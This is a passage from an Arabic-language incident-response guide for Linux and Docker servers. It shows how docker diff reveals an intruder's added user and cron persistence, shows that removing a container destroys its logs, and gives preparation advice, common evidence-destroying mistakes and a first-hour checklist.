A /tmp/.cache/kworker

في الإعداد أعلاه لاحظ التالي:

• الحرف A يعني ملفاً أضيف، وC ملفاً تغير، وD ملفاً حذف، كما في توثيق Docker، والمقارنة تكون مع ال Image التي بدأ منها ال Container، ولذلك تظهر التغييرات كلها في قائمة قصيرة.
• تغير ‎/etc/passwd و‎/etc/shadow وظهور ‎/home/support يكشف المستخدم الجديد، وتغير ‎/etc/crontabs/root يكشف الاستمرار، والملف ‎/tmp/.cache/kworker اسمه مختار حتى يشبه اسم عملية في النواة.
• هذه الطريقة لا تكشف ما كتب في ال Volumes، لأنها خارج طبقة ال Container، فبيانات قاعدة البيانات مثلاً تفحص في ال Volume نفسه.

والآن الدرس الأهم، وهو ما يحدث للأدلة عند حذف ال Container، والتجربة التالية تبينه:

docker run --name lab-dfir-log alpine:3.24 echo "GET /admin 200"
docker logs lab-dfir-log
docker inspect -f '{{.LogPath}}' lab-dfir-log
docker rm lab-dfir-log
docker logs lab-dfir-log

والمخرج سوف يكون كما يلي:

GET /admin 200
GET /admin 200
/var/lib/docker/containers/50e841e65c3fc7d8b00bfc440cd6829018969ee29215c3a2ea9d1de59844c5bd/50e841e65c3fc7d8b00bfc440cd6829018969ee29215c3a2ea9d1de59844c5bd-json.log
lab-dfir-log
Error response from daemon: No such container: lab-dfir-log

لاحظ أن السجل محفوظ في ملف داخل مجلد ال Container نفسه، فعندما حذفناه ذهب السجل معه، وكذلك طبقة الكتابة Writable Layer التي رأينا تغييراتها في المثال السابق، فتوثيق Docker يذكر أن هذه الطبقة تحذف مع حذف ال Container. وهذا يعني أن الأمر docker compose down ثم up الذي يبدو حلاً سريعاً بعد الاختراق هو في الحقيقة مسح لأدلة كل Container في المشروع، ولذلك اجمع مخرج docker logs وdocker diff وdocker inspect لكل Container مشكوك فيه قبل أي إعادة إنشاء، وصدر ملفاته إن احتجت بالأمر docker export. وفي النهاية حذفنا ال Containers التي أنشأناها:

docker rm -f lab-dfir-web

وطريقة جمع كل هذه المصادر بالأدوات مفتوحة المصدر، وبناء الخط الزمني منها، تجدها في دليل أدوات التحقيق الرقمي.

استعد قبل أن تقع الحادثة

أغلب ما يقرر نجاح التحقيق يحدث قبل الحادثة بأشهر، فإذا لم تكن السجلات موجودة فلن تجدها مهما كانت أدواتك جيدة، وفيما يلي ما تجهزه:

• سجلات مركزية بتوقيت UTC وساعات متزامنة: أرسل سجلات كل السيرفرات إلى سيرفر سجلات منفصل لا يدخله إلا عدد قليل، واجعل كل السيرفرات تكتب الوقت بتوقيت UTC وتتزامن مع NTP. والسبب أن الخط الزمني يجمع أحداثاً من سيرفرات وتطبيقات ولوحة مزود الخدمة، فإذا كتب بعضها بتوقيت الرياض وبعضها بتوقيت UTC وساعة أحدها متأخرة دقيقتين فسوف يظهر الحدث قبل سببه. ويذكر دليل SP 800-86 أن مزامنة الساعات تجعل ربط الأحداث بين المصادر أسهل، وتطلب الوثيقة RFC 3227 أن تسجل فرق ساعة الجهاز Clock Drift عند الجمع. وقد شرحنا UTC والمناطق الزمنية ومزامنة الساعة في دليل التاريخ والوقت: UTC والمناطق الزمنية والتقويم الهجري.
• مدة الاحتفاظ بالسجلات Log Retention: كثير من الاختراقات تكتشف بعد أسابيع أو أشهر من حدوثها، فإذا كانت السجلات تدور Rotate كل أسبوع فلن تجد بداية القصة. حدد المدة مع الإدارة والمستشار القانوني، لأن السجلات فيها بيانات شخصية أيضاً، واضبط تدوير سجلات Docker بالخيارين max-size وmax-file كما في توثيق Docker حتى لا تملأ القرص ولا تختفي بسرعة.
• خطة استجابة وأرقام تواصل: صفحة أو صفحتان فيها من يقرر، ومن يتصل بالمستشار القانوني والإدارة، ورقم الدعم عند مزود الخدمة، ومتى تجمع الذاكرة ومتى لا تجمعها، ومتى تفصل السيرفر. واحفظها في مكان لا يعتمد على السيرفرات نفسها، فالخطة المحفوظة في Wiki على السيرفر المخترق لا تفيدك. وتقدم CISA مادة مختصرة عن أساسيات خطة الاستجابة.
• نسخ احتياطية لا يستطيع المخترق حذفها: إذا كان السيرفر يملك صلاحية حذف نسخه الاحتياطية فالمخترق الذي يصبح root يملكها أيضاً، ولذلك اجعل النسخ في مكان لا يكتب فيه السيرفر إلا إضافة، أو بخاصية عدم التعديل Immutable أو Object Lock عند مزود التخزين، أو نسخة خارج الشبكة Offline. وهذه النسخ هي التي تعيدك للعمل، وهي أيضاً التي تقارن بها حتى تعرف ما تغير. وأساسيات النسخ الاحتياطي للسيرفر في دليل تأمين خادم VPS من أول دخول.
• حقيبة الاستجابة Jump Kit: وحدة USB فيها أدوات الجمع بنسخ Statically Linked وملفات الهاش لها، وقرص خارجي فارغ للأدلة، وحاسوب نظيف مخصص لا يستخدم في العمل اليومي، ونسخة مطبوعة من الخطة ونموذج سلسلة الحيازة. وتجهيزها مرة واحدة يوفر عليك ساعة من البحث وقت الحادثة.
• التمرين Tabletop Exercise: اجمع الفريق ساعة كل بضعة أشهر، واطرح سيناريو مثل «وجدنا مفتاح SSH غريباً على سيرفر الإنتاج Production»، وامشوا على الخطة خطوة خطوة، وستجد أن رقم الدعم قديم وأن أحداً لا يعرف كلمة مرور لوحة المزود. وتنشر CISA حزم تمارين جاهزة يمكنك أن تأخذ منها الفكرة.

وكل هذا يبنى فوق التأمين الأساسي، أي مفاتيح SSH بدل كلمات المرور وجدار الحماية والتحديثات كما في دليل تأمين خادم VPS من أول دخول، والطبقات أمام التطبيقات كما في حماية تطبيقات الويب على مستوى HTTP وترويسات الأمان HSTS وCSP، فالحادثة التي لم تحدث لا تحتاج تحقيقاً.

أخطاء شائعة تمسح الأدلة

• إعادة التشغيل أولاً: وهو أسوأ الأخطاء على الإطلاق، فهو يمسح الذاكرة والاتصالات وأنظمة الملفات المؤقتة، وقد يشغل سكربت إيقاف عدله المخترق. والوثيقة RFC 3227 تضعه أول ما يجب تجنبه: لا تقم بإيقاف الجهاز قبل أن تنتهي من جمع الأدلة.
• تشغيل أدوات تكتب على القرص: تثبيت حزمة لفحص السيرفر، أو تنزيل أداة إلى ‎/tmp، أو تشغيل برنامج مكافحة فيروسات يحذف ما يجده، فكل ذلك يكتب على القرص وقد يكتب فوق ملفات محذوفة كان يمكن استعادتها، وبعض الأوامر تغير وقت الوصول Access Time لكل ملف تمر عليه، والوثيقة تذكر tar مثالاً. اكتب الأدلة إلى قرص خارجي أو عبر الشبكة إلى جهاز آخر، وليس إلى القرص نفسه.
• التحقيق على السيرفر المخترق بأوامره هو: الأوامر ps وls وss على سيرفر مخترق قد تكون نسخاً استبدلها المخترق حتى تخفي برامجه، ولذلك تقول الوثيقة RFC 3227: لا تثق ببرامج النظام، وشغل أدواتك من وسيط محمي. والأفضل أن تجمع ما تحتاجه من الجهاز الحي بأقل عدد من الأوامر، ثم تحلل النسخ على جهاز التحقيق.
• عدم حساب الهاش: بدون هاش عند الجمع لا تستطيع أن تثبت أن الدليل لم يتغير، ولا تستطيع أن تعرف هل أفسدت نسختك أثناء الفحص.
• خلط UTC بالتوقيت المحلي: سجل يكتب بتوقيت الرياض وآخر بتوقيت UTC يجعل الحدث يظهر قبل سببه بثلاث ساعات، وقد تستنتج أن الموظف دخل قبل الاختراق وهو دخل بعده. سجل لكل مصدر منطقته الزمنية، وحول كل شيء إلى UTC في الخط الزمني.
• عدم التوثيق: في الساعة الأولى تظن أنك سوف تتذكر كل شيء، وبعد أسبوع لن تتذكر أي أمر شغلت ومتى، ولا من غير كلمة مرور المدير. اكتب في دفتر الحادثة كل خطوة ووقتها بتوقيت UTC ومن قام بها، والوثيقة تطلب حتى أن تسجل من كان حاضراً وماذا رأى وكيف تصرف.
• حذف ال Containers وإعادة إنشائها: كما رأينا في التجربة، فحذف ال Container يحذف سجلاته وطبقة الكتابة فيه.

قائمة الساعة الأولى لسيرفر Linux مشكوك فيه

هذه القائمة لما تفعله في الساعة الأولى عندما تشك أن سيرفر Linux عندك مخترق، وهي ترتيب للقرارات وليست شرحاً للأدوات، فطريقة تنفيذ كل خطوة في دليل الأدوات:

1. توقف ولا تعد التشغيل: لا تقم بإيقاف السيرفر ولا إعادة تشغيله ولا حذف أي شيء، وأخبر كل من له صلاحية عليه بذلك فوراً.
2. افتح دفتر الحادثة: سجل الوقت الآن بتوقيت UTC، ومن اكتشف المشكلة، وما الذي رآه بالضبط، وصوراً للشاشة أو الرسائل.
3. أبلغ حسب الخطة: المسؤول عن القرار، ثم الإدارة، ثم المستشار القانوني إذا كانت هناك بيانات شخصية أو موظف معين.
4. اعمل من جهاز نظيف: ادخل إلى السيرفر ولوحة المزود من حاسوب موثوق، ولا تدخل بكلمة مرور قد تكون مسروقة إلى أنظمة أخرى قبل تغييرها.
5. سجل وقت السيرفر: قارن ساعة السيرفر بالوقت الصحيح وسجل الفرق، فهذا ما تطلبه RFC 3227.
6. اجمع البيانات الحية أولاً: الذاكرة إن قررت خطتك ذلك، ثم الاتصالات والبرامج العاملة والمستخدمين المتصلين، بأدوات من حقيبة الاستجابة، واكتب المخرج إلى قرص خارجي أو جهاز آخر، وليس إلى قرص السيرفر.
7. احسب الهاش لكل ما جمعته: SHA-256 لكل ملف، واكتبه في سجل سلسلة الحيازة وفي مكان منفصل عن الأدلة.
8. احتو دون أن تمسح: اعزل السيرفر بجدار الحماية عند مزود الخدمة (اسمح فقط لعنوانك إن احتجت الوصول)، وعطل الحسابات والمفاتيح المسروقة، ولا تقم بإيقاف Containers أو حذفها.
9. احفظ القرص: لقطة Snapshot من لوحة المزود أو نسخة كاملة للقرص، مع الهاش، واجمع قبلها مخرج docker logs وdocker diff وdocker inspect لكل Container مشكوك فيه.
10. احفظ ما خارج السيرفر: صدر السجلات المركزية وسجلات ال Reverse Proxy وسجل الدخول إلى لوحة المزود للفترة المعنية قبل أن تدور وتمسح.
11. ابحث عن النطاق: خذ أول مؤشرات الاختراق التي ظهرت (عنوان IP، اسم مستخدم، مفتاح SSH، اسم ملف) وابحث عنها في بقية السيرفرات.
12. ابن من جديد بعد الحفظ: سيرفر نظيف من مصدر موثوق، ومفاتيح وكلمات مرور جديدة لكل ما مر بالسيرفر القديم، ثم أغلق الثغرة عندما يكشفها التحليل.

الخلاصة

وصلنا لنهاية الموضوع، وأهم ما فيه:

• إعادة التشغيل والحذف وإعادة التثبيت تعيد الخدمة وتمسح الأدلة، فتبقى لا تعرف كيف دخل المخترق ولا ماذا أخذ، ويدخل من الباب نفسه إلى السيرفر الجديد. الترتيب الصحيح هو العزل ثم الحفظ ثم البناء من جديد.
• DFIR يجمع التحقيق الرقمي، أي إثبات ما حدث بأدلة سليمة، مع الاستجابة للحوادث، أي إيقاف الضرر والعودة للعمل.
• المراحل في SP 800-86 هي الجمع ثم الفحص ثم التحليل ثم التقرير، وSP 800-61 Rev. 3 الصادر في أبريل 2025 يربط الاستجابة بوظائف CSF 2.0، وRFC 3227 تعطيك ترتيب الجمع وما تتجنبه.
• اجمع من الأكثر تقلباً إلى الأقل: الذاكرة والاتصالات قبل القرص، والقرص قبل النسخ الاحتياطية، ووازن ذلك مع خطر الأوامر على جهاز مخترق.
• احسب SHA-256 لكل دليل عند جمعه، واعمل على نسخة، وسجل كل انتقال في سلسلة الحيازة، وأشرك المستشار القانوني والموارد البشرية مبكراً.
• الأدلة على سيرفرك في سجلات الدخول وال Reverse Proxy والتطبيقات وDocker وسجل الأوامر وcron والمستخدمين والمفاتيح والاتصالات والذاكرة، وأفضلها ما كان خارج السيرفر.
• الاستعداد هو ما يصنع الفرق: سجلات مركزية بتوقيت UTC وساعات متزامنة، ومدة احتفاظ كافية، وخطة وأرقام، ونسخ لا تحذف، وحقيبة أدوات، وتمرين دوري.

دليلأدوات التحقيق الرقمي مفتوحة المصدر وكيف تستخدمهاالأدوات المفتوحة التي تحتاجها في كل مرحلة من التحقيق الرقمي، من نسخ القرص واسترجاع ملف محذوف إلى بناء خط زمني لما حدث.دليلإدارة الهوية والوصول IAM والوصول المميز PAMمن يملك صلاحية root على سيرفراتك ومنذ متى، وكيف تضبط حسابات المديرين بصلاحيات مؤقتة وجلسات مسجلة.دليلتأمين سيرفر VPS على Ubuntu من أول دخولقبل أن تثبت أي تطبيق على سيرفرك الجديد، هذه الخطوات تغلق أبرز الثغرات وأولها الدخول بمفتاح SSH بدل كلمة المرور.دليلالتاريخ والوقت للمطورين ومديري الأنظمةلماذا يتأخر التقرير ثلاث ساعات ولا تعمل المهمة المجدولة ليلة تغيير التوقيت، وكيف تضبط الوقت في السيرفر والكود.دليلMDM: إدارة أجهزة الموظفين وتأمينها بأدوات مفتوحةكيف تدير الشركة حواسيب موظفيها وهواتفهم وتفرض عليها التشفير والتحديث، وما الذي تستطيع أن تراه فعلاً على كل جهاز.

سجل التحديثات

• أكتوبر 2026: كتابة المقال، وتنفيذ تجربة الهاش وتجربتي docker diff وdocker logs على Alpine 3.24 وDocker Engine 29.8.0.